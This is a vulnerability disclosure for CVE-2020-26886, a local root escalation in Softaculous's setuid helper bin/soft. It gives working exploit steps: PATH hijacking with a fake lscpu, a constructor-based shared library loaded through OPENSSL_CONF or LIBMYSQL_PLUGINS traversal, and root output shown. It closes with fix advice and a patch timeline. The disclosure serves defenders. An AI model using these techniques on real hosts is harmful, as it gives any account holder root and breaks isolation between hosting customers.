October 31, 2020

CVE-2020-26886: Local Privilege Escalation using softaculous/bin/soft

This article describes CVE-2020-26886, a local privilege escalation affecting Softaculous < 5.5.7, along with generic tips when facing spooky setuid PHP interpreters. This software is widely deployed with most panels (eg. cPanel, Plesk, DirectAdmin).

Softaculous is the leading Auto Installer for cPanel, Plesk, DirectAdmin, InterWorx, H-Sphere. It has 420 great scripts, and is still adding more.

Description of the issue

We discovered a local privilege escalation to root using the softaculous/bin/soft setuid binary. This was tested to work on the latest release of Softaculous, on various panels (even if CloudLinux is installed).

The Softaculous installation process adds a binary at softaculous/bin/soft. Its location depends on the web management panel used:

Direct Admin/usr/local/directadmin/plugins/softaculous/bin/soft

When not found at one of these locations, one can use find to locate it.

user@some-host:~$ find / -wholename '*/softaculous/bin/soft' 2>/dev/null

This bin/soft command is owned by root and has the setuid flag set, meaning anyone can execute them with root privileges.

user@some-host:~$ ls -alh /usr/local/softaculous/bin/soft
-r-sr-xr-x. 1 root root 9.7K Sep 13 23:30 /usr/local/softaculous/bin/soft

This binary is a helper exposing two functions: download and sess, and seems to be used by the front end interface to execute either with elevated privileges or as the customer’s account (identified by its session).

user@some-host:~$ /usr/local/softaculous/bin/soft download tooshort
Softaculous Computer Binary

user@some-host:~$ /usr/local/softaculous/bin/soft download aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Wrong Command

Behind the scenes, this binary is invoking /usr/bin/php /usr/local/softaculous/cron.php [snip]. Two measures are already taken to prevent vulnerabilities:

-d auto_prepend_file=none and -d auto_append_file=none are passed as parameter to PHP; The environment variables PHPRC, PHP_INI_SCAN_DIR and PHP_INI_PATH are unset.

However, in some configurations (eg. confirmed on Plesk), this program is still vulnerable to a PATH environment injection, as the lscpu is invoked by a subsequent script using a relative path:

user@plesk-host:~$ cat /tmp/lscpu
/usr/bin/id >> /tmp/proof
/bin/sleep 2

user@plesk-host:~$ PATH=/tmp /usr/local/softaculous/bin/soft download aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Wrong Command

user@plesk-host:~$ cat /tmp/proof
uid=0(root) gid=0(root) groups=0(root),1004(psacln)

By debugging PHP, we noticed that PHP and its modules are using many environment variables to locate configuration files. Both LIBMYSQL_PLUGINS and OPENSSL_CONF allow custom modules to be loaded via Linux dynamic libraries.

In the following parts, we describe how to create the dynamic library and how to use it to exploit these two environment variables. The following code was used:

// gcc -shared -fPIC foo.c -o /home/user/foo.so
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor)) void bla() {


This environment variable allows us to override where the OpenSSL config file is loaded from, and we can trick it into loading our custom module.

First, we create /home/user/ssl.conf with the following content:

openssl_conf = conf_section
[ conf_section ]
engines = engine_section
[ engine_section ]
foo = foo_section
[ foo_section ]
engine_id = foo
dynamic_path = /home/user/foo.so
default_algorithms = ALL
init = 1

Then we run bin/soft, pointing to our configuration file:

user@some-host:~$ OPENSSL_CONF=/home/user/ssl.conf  /usr/local/softaculous/bin/soft download aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
uid=0(root) gid=0(root) groups=0(root),1004(psacln)
Wrong Command

This method was confirmed to work with cPanel (with or without CloudLinux), Interworx, Plesk, DirectAdmin.


LIBMYSQL_PLUGINS is documented as part of mysql_load_plugin, and should contain a comma-separated list of plugin names to be loaded. They are loaded relative to the plugin-dir option, so we have to do a directory traversal.

We execute bin/soft with LIBMYSQL_PLUGINS pointing to our dynamic library:

user@some-host:~$ LIBMYSQL_PLUGINS=../../../../../home/user/foo  /usr/local/softaculous/bin/soft download aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
uid=0(root) gid=0(root) groups=0(root),1004(psacln)
Wrong Command

This works on hosts where PHP 5.6 is the default interpreter, rather than 7.x. We haven’t found any production environment using this, but provide it to show this vulnerability isn’t specific to PHP 7.


This local privilege escalation allows anyone with a local account to gain root privileges, compromising the boundary between customers. On shared hostings, this can be achieved by anyone with a valid account.

Malicious actors can also combine this with a RCE in a third-party product installed on the hosting server; i.e. CVE-2020-5776, to remotely compromise the whole server (rather than a singular website).


If at all possible, it would be best to not rely on setuid helper at all, and to rely on the frontend panels (cPanel/Plesk/…) to handle privileges and admin operations. The released fix follows the best practice by providing a clean environ as the last argument of execve.


This bug was discovered mid-september and reported on the 30th of September 2020. A fix was published on the 2nd October 2020, and we agreed on a public disclosure on the last day of the month.

As Softaculous embeds an auto-update functionality, sane instances should already be patched.

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